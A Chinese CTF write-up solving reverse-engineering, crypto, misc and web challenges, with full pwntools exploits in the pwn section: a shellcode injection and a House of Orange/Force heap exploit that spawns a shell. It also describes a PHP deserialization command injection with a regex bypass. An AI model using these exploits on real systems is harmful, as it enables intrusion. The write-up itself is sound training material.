赛题链接(部分):
https://pan.baidu.com/s/1atitTM8xdO66ldb2eYcv7w?pwd=1234
动态靶场环境可进i春秋训练营启动靶机。
作者:朝雾,upsw1ng,pw,blonet,Y0n3er,DexterJie,LingFeng
Reverse
little re
查壳,有UPX
upx -d 一把梭
IDA看主要的关键函数就是undefine(),修一下定义,拿到加密函数
对于最后一步,逆过去就是查表,直接sbox.index()就是了最后的exp如下:
sbox=[get_wide_byte(0x403040+i) for i in range(320)]
v5=[0x18, 0x10, 0xcf, 0xe6, 0x16, 0x5b, 0x4e, 0xe6, 0x2c, 0x87, 0x91, 0x92, 0x1b, 0xaa, 0x8, 0xee, 0xd6, 0x70, 0x74, 0x42, 0xe9, 0x7, 0x7, 0x46, 0xd6, 0x16, 0x2a, 0x42, 0xfa, 0x6c, 0x89, 0xe7, 0x2d, 0x29, 0x53, 0x60, 0xc5, 0xa, 0x4d, 0x53, 0xc5, 0x15]
l=[]
for i in range(len(v5)):
l.append(chr(sbox.index(v5[i])^i))
print(''.join(l))
BeautifulFlower
我是如何秒掉它的(bushi)
分析主函数,可以发现,其实关键的加密步骤就是异或一个 i(Line 17-21)
在29行,我们发现有一个形如*(baseaddr+index)的比较,猜测这就是一个strcmp;
由于题目存在花指令,所以这里没有以cip[i]==str[i]这种形式出现
但是,我们仍然可以使用动态调试的方法拿到密文在Line 29使用Tab键读一下汇编。
.text:00007FF674AA2348 83 7C 24 20 30 cmp [rsp+30h+var_10], 30h ; '0'
.text:00007FF674AA234D 0F 8D 75 00 00 00 jge loc_7FF674AA23C8
.text:00007FF674AA234D
.text:00007FF674AA2353 E8 28 FB FF FF call sub_7FF674AA1E80
.text:00007FF674AA2353
.text:00007FF674AA2358 48 63 4C 24 20 movsxd rcx, [rsp+30h+var_10]
.text:00007FF674AA235D 48 B8 AB 24 93 C5 55 7B A0 F1 mov rax, 0F1A07B55C59324ABh
.text:00007FF674AA2367 48 03 05 DA 8C 02 00 add rax, cs:off_7FF674ACB048
.text:00007FF674AA236E 0F BE 04 08 movsx eax, byte ptr [rax+rcx]
.text:00007FF674AA2372 48 63 54 24 20 movsxd rdx, [rsp+30h+var_10]
.text:00007FF674AA2377 48 B9 45 AB 81 9C 0C 46 B9 0C mov rcx, 0CB9460C9C81AB45h
.text:00007FF674AA2381 48 03 0D C8 8C 02 00 add rcx, cs:off_7FF674ACB050
.text:00007FF674AA2388 0F BE 0C 11 movsx ecx, byte ptr [rcx+rdx]
.text:00007FF674AA238C 39 C8 cmp eax, ecx
.text:00007FF674AA238E 0F 84 1F 00 00 00 jz loc_7FF674AA23B3
.text:00007FF674AA238E
.text:00007FF674AA2394 B9 0A 00 00 00 mov ecx, 0Ah
.text:00007FF674AA2399 E8 52 00 00 00 call sub_7FF674AA23F0
.text:00007FF674AA2399
.text:00007FF674AA239E 48 89 C1 mov rcx, rax ; Buffer
.text:00007FF674AA23A1 E8 66 63 00 00 call puts
.text:00007FF674AA23A1
.text:00007FF674AA23A6 C7 44 24 2C 00 00 00 00 mov [rsp+30h+var_4], 0
.text:00007FF674AA23AE E9 27 00 00 00 jmp loc_7FF674AA23DA
.text:00007FF674AA23AE
.text:00007FF674AA23B3 ; ---------------------------------------------------------------------------
.text:00007FF674AA23B3
.text:00007FF674AA23B3 loc_7FF674AA23B3: ; CODE XREF: main+13E↑j
.text:00007FF674AA23B3 E9 00 00 00 00 jmp $+5
.text:00007FF674AA23B3
.text:00007FF674AA23B8 ; ---------------------------------------------------------------------------
.text:00007FF674AA23B8
.text:00007FF674AA23B8 loc_7FF674AA23B8: ; CODE XREF: main:loc_7FF674AA23B3↑j
.text:00007FF674AA23B8 8B 44 24 20 mov eax, [rsp+30h+var_10]
.text:00007FF674AA23BC 83 C0 01 add eax, 1
.text:00007FF674AA23BF 89 44 24 20 mov [rsp+30h+var_10], eax
.text:00007FF674AA23C3 E9 80 FF FF FF jmp loc_7FF674AA2348
阅读可知,这里是写的一个字节比较。
关键的比较是这个
.text:00007FF674AA238C 39 C8 cmp eax, ecx
将eax的值与ecx进行比较,继续分析eax
eax=
[0x0F1A07B55C59324AB+[0x7FF674ACB048]+rcx]
这里的rcx可以理解为循环计次变量i,也可以说是索引号,猜测这里的eax依次可能是我们输入的字符串内容,然后是
ecx=[0x0CB9460C9C81AB45+[0x7FF674ACB050+]+rdx],
同理,这里的rdx是索引号,构建一个伪机器码
“flag{abcdefghijklmnopqwertyuiopasdfghjklzxcvbnm}”动态调试发现闪退,猜测有反调试。
导入表IAT,发现有IsDebuggerPresent()函数
如图所示
跟进去下硬件读取断点
跑起来可以抓到调用位置,这是在一个函数里面,肯定main里面调用了这个函数,然后这个函数是加过花指令的。
既然这样,我们就不手动去反调试,使用ScyllaHide插件,把跟PEB有关的勾上即可。
正常跑起来,在刚才单字节比较的地方下断,
运行,断住
跟一下此时的rcx,如左下窗口
读出来异或一下,拿到flag
继续再看
在.text:00007FF674AA236E
movsx eax, byte ptr [rax+rcx]下断
跟进rax,可以看到就是对我们输入的内容异或了i
测试一下,证明就是异或的i:
Python>print(''.join([chr(ord(test[i])^i) for i in range(len(test))]))
fmcddddlllldddd||||ddarjmcnurn~SEDDLOMKRQI]NCCR
所以最终的ida python脚本为:
print(''.join([chr(get_wide_byte(0x7FF674ACB000+i)^i) for i in range(0x30)]).replace("&","x"))
后记
对于其花指令的分析,这里给出分析步骤:
可以参考笔者的文章:
https://xz.aliyun.com/t/14625
下面的等价解释和几个变式两个部分,我们以32位下的寄存器来解释,64位的请类比。
一、等价解释
下面给出一种常见的等价变换:
1.call
对于call指令,需要格外重视的是,它等价于
push next opcodeAddr;
jmp addr;
2.retn
retn一般出现在call进的函数里面,一般用作函数的返回,当然,其后面也可以接值。
比如retn 0x5
其等价于:
mov eip,[esp];
add esp,0x4+0x5;
3.call 0h
16进制为:E8 00 00 00 00这种指令常用来获取下一行代码的地址,也可用于获取eip的值。
004710D5 > E8 00000000 call 11111.004710DA
004710DA |. 68 10B14900 push 11111.0049B110
这里执行call后,eip的值为004710DAh,而此时[esp]的值,就是0x4710DAh,因此获取call时的eip就是[esp]-0x5;
二、几个变式
1.修改eip
我们知道,想要eip寄存器值得到修改,直接通过mov eip,addr是不可能给的,我们首先想到的是jmp addr那么此外,还有什么能实现类似修改eip的呢,那就是retn
push addr
retn
也能实现修改eip的效果
2.改变esp
对于esp,大多数就是和栈有关,push,pop,call,retn,以及 直接对栈寄存器(ebp和esp)进行赋值或运算我们这里来说一说这个如何抬栈(增加esp)
方法一:add
方法二:多个pop
对于pop指令,例:pop eax;在x86程序里面就等价于
mov eax,[esp];
add esp,0x4;
但这样会占用一个寄存器,当成临时存储的地方。因此,当某个寄存器没有实际作用的时候,可以用多个pop,来代替add esp;
三、具体分析
(1)长链跳转(pop组合)
从最上面的函数一个一个看sub_140001A40()—>0x140001A4E
.text:0000000140001A4E
.text:0000000140001A4E loc_140001A4E:
.text:0000000140001A4E 55 push rbp
.text:0000000140001A4F E8 00 00 00 00 call $+5
.text:0000000140001A4F
.text:0000000140001A54 48 83 04 24 10 add qword ptr [rsp], 10h
.text:0000000140001A59 EB 00 jmp short $+2
.text:0000000140001A59
.text:0000000140001A5B ; ------------------------------
.text:0000000140001A5B
.text:0000000140001A5B loc_140001A5B:
.text:0000000140001A5B 41 59 pop r9
.text:0000000140001A5D 41 FF D1 call r9
首先push rbp我们可以理解为一个函数的开始,这边跟花指令没有关系。从call 000000h(call $+5)开始,我们来分析:
-
首先这个call 是把下一个opcode的地址压入栈中,即执行完后,栈顶([rsp])=0x140001A54
-
add qword ptr [rsp], 10h,这里做了一个加法,[rsp]+=0x10,也就是栈顶([rsp])=0x140001A64
-
jmp short $+2(EB 00)这个跳转没什么用其实,就是按顺序执行下一行代码
-
pop r9 这里把栈顶上的[rsp],弹出来了,也就是说,执行过程相当于,r9=[rsp]=0x140001A64 ;rsp-=0x8;这里其实就把rsp还原成没执行call 00h之前了;
-
call r9;这里就是把控制流干到r9,即rip=r9=0x140001A64,同时栈顶压入下一行的地址,即[rsp]=0x140001A60;
因此,我们重新自己处理下汇编代码,分开代码和脏数据,就能得到下图
6.pop r9;这里把栈顶上的[rsp],弹出来了,也就是说,执行过程相当于,r9=[rsp]=0x140001A60,rsp-=0x8,这里栈又还原成一开始的样子了。
综上,这里使用了pop的方式来add rsp;通过修改栈顶([rsp])来实现跳转;r9作为中间寄存器,会因为pop,原始值会被破坏。
因此,0x140001A4F-0x140001A63没有任何作用,只是通过几个骚操作,让程序往下面的控制流执行罢了。
这一串花指令可以概括为:call 000h;add [esp],xxxxx;jmp short addr;dbs;pop reg;call reg;dbs;pop reg;
(2)jx+jnx型
接着就是一个双条件跳转,恒成立其一,必跳到同一地址,跨过脏字节,其格式为下面这样:
start:
jx label2
jnx label2
db 0x1
db 0x2
db ...
label2:
正常指令
如图是典型的这种情况:
因此0x140001A6B-0x140001A78是花指令。
(3)长链跳转(retn)
紧接着,
这个其实跟最上面分析的那种差不多,就是改栈顶指针来跳转;区别的是使用了retn来改变rip和恢复栈
-
call loc+7 这里就是rip来到了0x140001A84,同时压栈,栈顶[rsp]=0x140001A82;
-
add qword ptr [rsp],0xb [rsp]+=0xb,则[rsp]=0x140001A8d;
-
retn 根据retn的等价解释,此时就是rip来到了栈顶([rsp])的值=0x140001A8d,同时弹出这个值;所以可以理解为,retn就是pop rip,这里又什么都没做。
0x140001A7d-0x140001A8c都是没用的;
这个类型可以概括为call loc+x;db(x-5);add [rsp],x+1+p;retn;dbp;
(4)jmp db型
最简单的jmp跳过脏字节;
(5)call+retn
.text:0000000140001A9F E8 F1 FF FF FF call nullsub_14
这里call 了一个空函数,空函数内容为:
需要注意的是,这里的nullsub的汇编可能在jmp db型花指令的db里面所以这个call只是个占位的,多余指令
(6)长链跳转(保存现场)
在之前我们讲到,通过pop来弹栈时,会破坏寄存器;比如这里的
.text:0000000140001AB0 41 58 pop r8
这个就是为了让栈还原,而使用的pop,但是这样会把栈顶[rsp]的值给r8,就破坏了r8的值;
为了解决这个问题,这里先在call之前push r8;
这样就把r8的值保存在栈中,再最后pop出来就可以实现还原。
两个pop r8的作用分别是(恢复call压的栈,还原r8);
那么对此,从0x140001AAA-0x140001AB3也没什么用。
这种形式,可以总结为:push reg;call loc+x;dbs*(x-5);pop reg;pop reg;
四、去花脚本
import ida_bytes, ida_ida
start=0x140001A4E
end= 0x140003f76
def patch(ea, num=1):
for i in range(num):
ida_bytes.patch_byte(ea + i, 0x90)
return
def f(hexStr):
begin_addr=start
end_addr=end
l = []
xx = len(hexStr) // 3 + 1
bMask = bytes.fromhex(hexStr.replace('00', '01').replace('??', '00'))
bPattern = bytes.fromhex(hexStr.replace('??', '00'))
signs = ida_bytes.BIN_SEARCH_FORWARD | ida_bytes.BIN_SEARCH_NOBREAK | ida_bytes.BIN_SEARCH_NOSHOW
while begin_addr < end_addr:
ea = ida_bytes.bin_search(begin_addr, end_addr, bPattern, bMask, 1, signs)
if ea == ida_idaapi.BADADDR:
break
else:
l.append(ea)
begin_addr = ea + xx
return l
g=lambda x,num:[print(hex(x), hex(num)),patch(x, num)]
print("----------jx+jnx----------------")
for x in f("74 ?? 75 ??"):
num = get_wide_byte(x + 3) + 4
g(x,num)
print("----------jump far(pop)----------")
for x in f("E8 00 00 00 00 48 83 04 24"):
num = get_wide_byte(x + 9)+5
t=get_wide_byte(x+num)
if t in [0x58,0x59]:
num+=1
elif t==0x41:
num+=2
else:
print("Special:",hex(x+num))
continue
g(x,num)
print("-----jump far(retn)&&Jump far(Protect site)---------")
for x in f("E8 ?? 00 00 00"):
dbs = get_wide_byte(x + 1)
if dbs < 0x15:
if get_wide_byte(x - 1) in [0x50, 0x51] and get_wide_byte(x + dbs + 5) in [0x58, 0x59]:
x -= 1
num = dbs + 8
elif get_wide_byte(x - 1) in list(range(0x50, 0x58)) and get_wide_byte(x + dbs + 5) == 0x41:
x -= 2
num = 11 + dbs
else:
num = 5 + get_wide_byte(x + dbs + 9)
print(hex(x), num)
g(x, num)
print("---------jump db-------------")
for x in f("E9 ?? 00 00 00"):
t=get_wide_byte(x+1)
if t<20:
num=t+5
g(x,num)
print("---------call null function---------")
for x in f("E8 ?? FF FF FF"):
g(x,5)
print("ojbk!")
五、大梦一场空
用CFF Explorer可以去掉ASLR,方便后续动调研究花指令。找到可选头里面的DllCharacteristics将其值里面的Dll can move给取消掉,再保存。
一开始以为反调试可能存在于Tls回调或者CRT载入里面的初始化中,但没找到,考虑又有花指令。
故猜测,是main()–>func()—>IsDebuggerPresent()从Start()—__scrt_common_main_seh()–>main()可以定位到主函数。
去完花之后,这里可以印证上面所说的反调试情况(main()–>func()—>IsDebuggerPresent() ),如图:
观察其他指令,大多都是AVX,SSE指令集,伪代码压根看不出来什么名堂。
归根到底去了个寂寞。
六、备注
至于main函数里面几个没有符号的函数,猜测这些函数主要可能是下面几种情况:
-
自定义的解密函数,用于将对应索引的字符串解密,备注:这里静态分析,确实在字符串里面没有搜到显示在命令行上的字符串;这里出题人犯了一个错误,出题人本质上是想让关键函数不能被识别出来的,也就是说在main里面插花,但是这样可以通过对提示字符串交叉引用,去找到main函数。所以出题人用函数来动态生成提示字符串去规避找个做题技巧。
-
IO函数,用于输入输出;
-
C++的Operate::
本题使用了AVX指令集,因此需要确保CPU支持该指令集!
ezpwn
分析menu()函数,四个功能点
puts("1. Login as Admin");
puts("2. Send Message to Admin");
puts("3. Exit");
if ( isAdmin == 1 )
puts("4. Exec");
return printf("> ");
最终肯定是要exec的,exec要满足 isAdmin==1;
分析发现 is Admin是在login里面赋值为1的,条件是密码正确,为”SuperSecurePassword123!”
接下来是如何调用Login()函数,Login函数,功能点代号为1,但是为1时,并不能直接执行,它将这个函数给禁用了,由变量v5掌控
要想把v5置0,可以从输入的数据入手,功能点2可以传递数据,观察栈,因为是%56s,所以如果输入56个字节,最后补的x00截断正好可以覆盖掉v5.
所以攻击链为:SendData(2)–>v5置0–>Login(1)–>Send(pwd)–>isAdmin置1–>Exec(shellcode)
然后exec函数,是直接将输入的shellcode执行的
read限制了输入为100个字节
exp如下:
from pwn import*
from libnum import *
from ctypes import *
from z3 import *
import requests as req
s=lambda x:p.send(x)
sl=lambda x:p.sendline(x)
sa=lambda x,y:p.sendafter(x,y)
sla=lambda x,y:p.sendlineafter(x,y)
r=lambda :p.recv()
rl=lambda :p.recvline()
ru=lambda x:p.recvuntil(x)
context.clear(arch='amd64', os='linux', log_level='debug')
url='101.200.238.173'
port=34948
p=remote(url,port)
shellcode=asm(shellcraft.sh())
lin=[b'> ']*3+[b'Password: ',b'> ',b'Shellcode: ']
lsend=[b'2',b'a'*56,b'1',b'SuperSecurePassword123!',b'4',shellcode]
for i in range(len(lin)):
ru(lin[i])
print(lin[i],lsend[i])
sl(lsend[i])
p.interactive()
执行图:
OrangeForce
根据题目名,猜测可能是House of Orange和House of Force搜索找到些资料:
https://mp.weixin.qq.com/s/PDCceypsuVmgv1Cv8KyluA
https://mp.weixin.qq.com/s/YRG67Ojm7Dix-5qpVRHAyQ
https://www.bilibili.com/video/BV1Fb4y1Z7aE/
https://www.cnblogs.com/ZIKH26/articles/16533388.html
题目是8字节的堆溢出,但是没有free功能。
则使用House of Orange的Stage1步骤(首先压缩top_chunk,随后申请一个大于top_chunk的size,将使得 top_chunk 被free掉,此时将被放到unsorted bin中)
再申请 0x1000 的chunk,此时该chunk又被放入large bin中,从而留下了堆地址。
拿出 unsorted bin 后便可以拿到libc地址和堆地址。
最后用House of Force去打 __malloc_hook 即可。exp如下:
#!/usr/bin/env python3
# -*- coding:utf-8 -*-
from pwn import *
context.clear(arch='amd64', os='linux', log_level='debug')
sh = remote('172.17.0.2', 9541)
def add(size, content):
sh.sendlineafter(b'> ', b'3')
sh.sendlineafter(b': ', str(size).encode())
sh.sendafter(b': ', content)
sh.sendlineafter(b'> ', b'1')
sh.sendlineafter(b': ', b'1')
sh.sendlineafter(b': ', b'1')
sh.sendlineafter(b': ', b'1')
sh.sendlineafter(b': ', b'1')
sh.sendlineafter(b': ', b'1')
sh.sendlineafter(b': ', b'1')
add(0x18, b'a' * 0x18 + p64(0xd81))
sh.sendlineafter(b'> ', b'0' * 0x1000 + b'3')
sh.sendlineafter(b': ', str(0x1000).encode())
sh.sendafter(b': ', b'xa0')
add(0xd50, b'xa0')
sh.sendlineafter(b'> ', b'4')
sh.sendlineafter(b': ', b'2')
libc_addr = u64(sh.recvn(8)) - 0x3ec2a0
success('libc_addr: ' + hex(libc_addr))
sh.recvn(8)
heap_addr = u64(sh.recvn(8)) - 0x1280
success('heap_addr: ' + hex(heap_addr))
add(0x18, b'a' * 0x18 + p64(0xffffffffffffffff))
__realloc_hook = libc_addr + 0x3ebc28
add((__realloc_hook - 8) - ((heap_addr + 0x22020) + 0x10) - 0x18, b'n')
add(0x18, b'0' * 8 + p64(libc_addr + 0x10a38c) + p64(libc_addr + 0x98c30 + 4))
sh.sendlineafter(b'> ', b'0' * 0x1000 + b'3')
sh.interactive()
Crypto
xor
首先,对于key,是4字节的小写字母。
letters = string.ascii_lowercase
random_string = ''.join(random.choice(letters) for i in range(4))
然后用sm3取了个hash,这里我们直接生成个字典爆破就行。然后题目是把flag里面的内容base64编码了,然后4个一组
flag = base64.b64encode(flag[5:-1].encode()).decode()
fg = [flag[i:i+4] for i in range(0, len(flag), 4)]
题目给出了两个box的值
关键的代码是这么一段,其中enumerate(k_box)产生的值就是(index,k_box[index])
for z,t in enumerate(k_box):
k_box[z] = t << z
a=(reduce(xor,k_box)) >> 3 ^ s2n(j) ^ s2n(key[0]) >> 5
a_boxs.append(a)
这里的a是我们的密文,他是由(reduce(xor,k_box)) >> 3 ^ s2n(j) ^ s2n(key[0]) >> 5产生
这里有三个异或成分:
1.A=(reduce(xor,k_box)) >> 3,意思就是将kbox列表成员依次异或,然后再右移
2.B=s2n(j) 4字节的flag片段
3.C=s2n(key[0]) >> 5 就是将key右移了一下,是个常量。对于A,其实就是最后的k_boxs[i],因为每次赋值和上一次循环的结果无关(并不会和本身的a发生关系),所以这里的A也是一个常量,题目给的hint中,逆位移是错误的!
题目提示:key需要自己通过给定的assert信息和生成信息来爆破,由于先左移和异或都是一个可逆的过程,对k_box盒中的所有值先异或在对加密后的值异或,处理左移,用左移的反操作右移即可还原回去。
逆回去就是,B=a_boxs[i]^C^A
from libnum import *
from operator import xor
from gmssl import sm3,func
import base64,string,itertools,tqdm
GKey=lambda x:sm3.sm3_hash(func.bytes_to_list(x.encode('utf-8')))
def Crack():
for x in tqdm.tqdm([''.join(x) for x in itertools.product(string.ascii_lowercase,repeat=4)]):
if GKey(x)=="ed7c5e5a9e7db0af63ff1857c74f1612503714e7257e3135161ac693263c5bc3":
return x
key=Crack()
assert key=="vyxj"
k_boxs=[[85960428, 124048944], [76896516, 148233042, 148344300, 430828728], [18813226, 47434414, 384576428, 756186952, 1176559104, 3012655264], [32419498, 135200222, 144078312, 418343384, 264781840, 997176032, 1575860096, 2311119872], [78138466, 26105444, 246378096, 673137192, 780322864, 580638816, 1013888320, 8267513088, 18261797376, 38464371712], [74398718, 34836126, 114351808, 84194008, 864090304, 2058369664, 3768046400, 9054897920, 3609117696, 31962163200, 78609714176, 143030124544], [95136078, 121787282, 142893752, 595233264, 1428549856, 3051172768, 5077270848, 1495076864, 12870877440, 47778328576, 70943019008, 73837846528, 347317125120, 202464190464], [25940628, 178611312, 187525036, 724730696, 1262246272, 538422912, 5178823296, 11962676480, 3681039360, 43111816192, 53454863360, 46940395520, 324584484864, 738174935040, 1180945874944, 2680363352064], [91476910, 40438622, 284009216, 189141944, 494422624, 1909378272, 1859258688, 8325893632, 8679649792, 25956180480, 19010518016, 149400145920, 75571052544, 216012996608, 877107707904, 1918758420480, 4670701109248, 1511231979520], [74597483, 35476838, 332670940, 628899328, 1006051312, 1810494112, 1815836800, 6254008448, 9059957248, 37066194944, 84866486272, 143417882624, 374722654208, 421553152000, 289192411136, 2595834003456, 1876405256192, 3073277952000, 5138042585088, 16906505420800], [43202734, 123038960, 230151348, 227006016, 1316620848, 2661215424, 1102296384, 6063244416, 13653935872, 15262126080, 56829879296, 203848990720, 319030505472, 273716043776, 1328383262720, 3109532008448, 1974875389952, 10583088431104, 17563729002496, 41257490972672, 104812289982464, 173872034873344], [40707932, 62510266, 127238668, 433986608, 1493914656, 2017700128, 941191424, 4402769536, 6413621248, 34974545408, 76024111104, 149649319936, 63424671744, 591347908608, 1425053548544, 2109411262464, 3604948779008, 1747924942848, 12591446097920, 36837998985216, 14717609312256, 116828735012864, 67418525270016, 162300363276288]]
a_boxs=[1320734445, 1299107274, 1462892431, 1369698413, 8147346610, 28131911745, 62500239353, 489185004903, 558579233563, 1461508494923, 30901854114296, 31037226326417]
flag=[]
for i in range(len(k_boxs)):
flag.append(n2s(a_boxs[i]^((reduce(xor,k_boxs[i]))>>3)^(s2n(key)>>5)).decode())
flag=base64.b64decode(''.join(flag)).decode()
print("Key:%snFlag:flag{%s}"%(key,flag))
Some Erratic
(1)Challenge1
nbits=1024
beta=0.25
p = getPrime(nbits // 2)
q = next_prime(p+getRandomNBitInteger(int(nbits*beta)))
这里不难发现p和q挨得很近,那么就可以用费马分解或者平方差遍历了。
费马因式分解
-
对于任一个奇数n,n = ab = x2-y2
-
∵ n = ab = (x+y)*(x-y)∴ a = x + y, b = x-yx = (a+b)/2, y = (a-b)/2 (因为n为奇数,a, b必也为奇数,所以(a+b)和(a-b)必为偶数,故能被2整除,x, y为整数,x > y)
p,q挨得很近,所以对n开根号的结果肯定位于p,q之间,那么开根号之后的下一个素数就是q了。
这里可以直接使用yafu分解出来,如图所示:
之后直接打个模板就行:
from Crypto.Util.number import *
from libnum import *
from gmpy2 import *
p=10723952297843364786156929715608186673824989778827123114729658453167763205220791771822778751909012960229915274457218832420541336771509448047644069517341441
q=10723952297843364786156929715608186673824989778827123114729658453167763205220864100075262838969409132981145925287473981410039353654288586176839546999980559
c=4683860292178905393956126264938663681975905303901914717230332783725185630718947576830406810628786941566084952137064099532907383417183948121928037829755743872588634917591802704043136980938886111652461153361337562856144992151703143305512294568871604157763770074219187267063108239508617811016431179485003213035
n=115003152886419983681144304614857464253607083192987092744909476881003877437075034587256814044556674185221251648000461436525204404176667857416335352906784895367609649446600147893387688176260185504558426661409555464100257797704637961842440960157067193151612929859347566584912178351943666596100822411740365045519
e=39466
n=p*q
phi=(p-1)*(q-1)
t=gcd(e,phi)
d=invert(e//t, phi)
m=powmod(c,d,n)
m=iroot(m,t)
flag = n2s(int(m[0])).decode()
print(flag)
(2)Challenge2
这里观察到primes这个列表,以及分析getMyPrime()函数
primes = [getPrime(128) for _ in range(1000)]
def getMyPrime(nbits: int):
while True:
n = 2
while n.bit_length() < nbits:
n *= random.choice(primes)
if isPrime(n+1):
return n+1
可以知道,该函数的返回值和n有关,n的迭代为n *= choice(primes),即通过小素数累乘得到的,并且由于random.choice()函数,那么这些小素数互不相同。除此之外,最后的返回值为n+1,也就是说 p=n+即 p – 1 是一个光滑数。
因此,我们可以选择Smooth攻击中的p-1光滑攻击,Pollard_rho算法。对于p-1光滑攻击,尝试使用此函数攻击N:
def Pollard_rho(N):
a = 2 # 为了快速计算以及满足费马小定理条件
n = 2 # 从1开始没必要
while (True):
a = pow(a, n, N)
p = gcd(a - 1, N)
if p != 1 and p != n:
return p
n += 1
但时间较长,原理出发,优化此代码。根据费马小定理(Fermat Theorem),若p是素数,且p不整除a,则有: a^(p-1)≡1 (mod) p
上面的函数中,p-1的因子太多,所以出不来;
再看题目,实际上是给了p-1的因数的,而p-1远远达不到整个素数列表成员的乘积(Mul_Group),但p-1定是Mul_Group的因子,即满足k(p-1)=Mul_Group
因此,只要满足0<gcd(a^mul_group-1,n)<n,就能求到p。
由欧几里得算法可知
gcd(a^Mul_Group-1,n)=gcd((a^Mul_Group-1)%n,n)
根据余数的性质:
(1)任一整数被整数a除后,余数一定是且仅是0到(a-1)这a个数中的一个
(2)相邻的a个整数被正整数a除后,恰好取到上述a个余数。特别地,一定有且仅有一个数被a整数。
因此可得:
gcd(a^Mul_Group-1,N)=gcd((a^Mul_Group%N)-1,N)最终脚本为:
from Crypto.Util.number import *
from libnum import *
from gmpy2 import *
N=105693066294692090428120492282360423623332948001444868155609687342896295733744325175901738933099577576305552497351171328636372334357226336334014475727532013770919058459498705840962386579296720075803313144948862168617254759061750303073242103385953470598588821298558182545075843037752946756268753654459857357773
def Get():
a=2
primes=[...]
Mul_Group=1
for x in primes:
Mul_Group*=x
p=gcd(pow(a,Mul_Group,N)-1,N)
return p
p=13537357593182943760549076001986916127729056585483232435862464322225222721242076952974902134443359026157925461451330929032089583284820898264165591023404647
q=N//p
phi=(p-1)*(q-1)
c = 103098461800286996429171660021414925966093478619253436602232971969341281856030245006630388718292570005153435514675207542689431699948146670756537281552849614108826708534870688773921625688661211973873302580385044231926119768544392742128096319799969126263095425468271074769423608363979804283088125862297793195229
e= 0x10001
d=invert(e,phi)
m=int(pow(c,d,N))
flag=n2s(m).decode()
print(flag)
参考链接:
https://blog.csdn.net/qq_73643549/article/details/133692704https://www.cnblogs.com/futihuanhuan/p/18100325
(3)Challenge3
此题与NSSCTF上的一题相似度高达%90原题链接:
https://www.nssctf.cn/problem/4028
故此题是LCG当中的给出的seed并不是连续的那种类型:
参考DexterJie师傅的博客:
https://dexterjie.github.io/2024/07/16/%E6%B5%81%E5%AF%86%E7%A0%81/%E6%B5%81%E5%AF%86%E7%A0%81-LCG/#%E9%A2%98%E5%9E%8B6-%E7%BB%99%E5%87%BA%E7%9A%84seed%E5%B9%B6%E4%B8%8D%E6%98%AF%E8%BF%9E%E7%BB%AD%E7%9A%84
直接用:
from Crypto.Util.number import *
import gmpy2
output = [
119444446894587372581296728153418842424972532346323290092358901147846017532,
116115165644797564522740358185970802120930635153965165009865786907134059364,
37049123079699901350837013976856659163619369801178080438668856263818967139,
5126114380624889407734309488357199346967937488993420757621013519949873892,
72235467163060541611760931209616453277564984959523932791804478509097219171
]
t = []
for i in range(1,len(output)):
t.append(output[i]-output[i-1])
T = []
for i in range(1,len(t)-1):
T.append(t[i+1]*t[i-1] - t[i]**2)
m = []
for i in range(len(T)-1):
mm = gmpy2.gcd(T[i],T[i+1])
if isPrime(mm):
m.append(int(mm))
else:
for i in range(1,100):
if isPrime(mm // i):
mm = mm // i
m.append(int(mm))
break
for i in m:
a = gmpy2.invert(t[0],i) * t[1] % i
b = output[1] - a*output[0] % i
a_ = gmpy2.invert(a,i)
seed = a_ * (output[0]-b) % i
for _ in range(2**16):
seed = a_ * (seed - b) % i
flag = long_to_bytes(seed)
if b'flag' in flag:
print(flag.decode())
最后整合一下:
from hashlib import *
flag1=b'flag{You-Know-ephi-not-invert}'
flag2=b'flag{Smooth-is-very-cool}'
flag3=b'flag{odd-Lcg-also-Cool}'
print("flag{%s}"%md5((flag1+flag2+flag3)).hexdigest())
Misc
最简单的隐写
方法一
直接查一波可见字符串,直接秒
strings Steganography.jpg | find "flag"
方法二
按照常规的思路,即不直接从文件数据中提出flag的方法,可以这样分析。首先用010 Editor打开
观察到,在png结构体解释完之后,存在一个UnknownPadding,且开头是PK(50 4B 03 04),所以此题本质上是一个赘余信息(在文件尾)隐写。使用foremost工具可以分离出这个压缩包,同时也能拿到flag
删除后门用户
在cmd里面ssh连接:
ssh ctf@39.106.48.123 -p 18593
cat /etc/passswd
或者用
getent passwd
拿到登录的用户名
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:104:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:105:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:106::/nonexistent:/usr/sbin/nologin
sshd:x:105:65534::/run/sshd:/usr/sbin/nologin
backdoor:x:0:1000::/home/backdoor:/sbin/nologin
ctf:x:1000:1001::/home/ctf:/bin/bash
可以看到后门用户名为backdoor,删除此用户:
userdel -f -r backdoor
查看是否存在:
id backdoor
进入根目录,发现有flag文件直接过一会儿,再读flag,要不然没权限
cat /flag
Web
ez_unserialize
php反序列化。
先从攻击点出发,来到four.eval()函数中存在system($this->s)可以进行命令执行;
用more${IFS}/*去绕过正则的限制;
接着跟,是toString()调用了eval()函数,toString()这个魔术方法,用于一个类被当成字符串时应怎样回应。
接着就是如何将four()这个类当成字符串了,这里找到three()中的return “look!you are hero”.$this->kkk;
